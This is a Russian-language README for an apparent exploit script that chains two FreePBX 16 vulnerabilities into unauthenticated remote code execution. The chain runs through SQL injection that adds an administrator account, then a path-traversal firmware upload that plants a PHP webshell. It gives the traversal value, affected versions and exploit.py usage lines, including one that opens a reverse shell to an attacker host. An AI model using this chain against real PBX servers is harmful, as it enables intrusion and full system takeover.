FreePBX 16 — неаутентифицированная SQL-инъекция до RCE

Краткое описание: В этом руководстве показано, как объединить две уязвимости FreePBX 16 (CVE-2025-57819 и CVE-2025-61678), чтобы построить полную цепочку атак — от неаутентифицированного доступа до удалённого выполнения кода (Remote Code Execution, RCE).

Информация об уязвимостях CVE

Принцип атаки и последовательность действий

Создание учётной записи администратора (CVE-2025-57819)

Через загрузчик модулей пространства имён (Namespaced Endpoint Loader) запускается неаутентифицированная многооператорная SQL-инъекция, которая напрямую записывает в таблицу ampusers новую учётную запись администратора с полными правами.

Аутентификация (Authentication)

С помощью только что созданных учётных данных администратора выполняется вход в панель управления FreePBX.

Запись WebShell (CVE-2025-61678)

Злоупотребляя функцией загрузки прошивки в Endpoint Manager и используя уязвимость обхода пути в параметре fwbrand (../../../var/www/html/<dir>), PHP WebShell записывается непосредственно в корневой каталог веб-сайта.

Выполнение команд (Execution)

Вызов развёрнутого WebShell позволяет выполнить отдельную системную команду или установить интерактивный Reverse Shell.

Затронутые версии и рекомендации по исправлению

Затронутые версии: FreePBX 16 (модуль Endpoint версии ниже 16.0.92); FreePBX 17 (затронуты версии до 17.0.6).

Рекомендации по исправлению: как можно скорее установите последнюю исправленную версию.

Использование (Usage)

# Выполнить одну команду
python3 exploit.py --rhost pbx.example.com --command "id"

# Установить интерактивный Reverse Shell (автоматическое прослушивание через pwntools)
python3 exploit.py --rhost pbx.example.com --lhost 10.0.0.5 --lport 4444

# Использовать обычный HTTP и произвольный порт
python3 exploit.py --rhost pbx.example.com --http --rport 80 --command "uname -a"

Описание параметров (Options)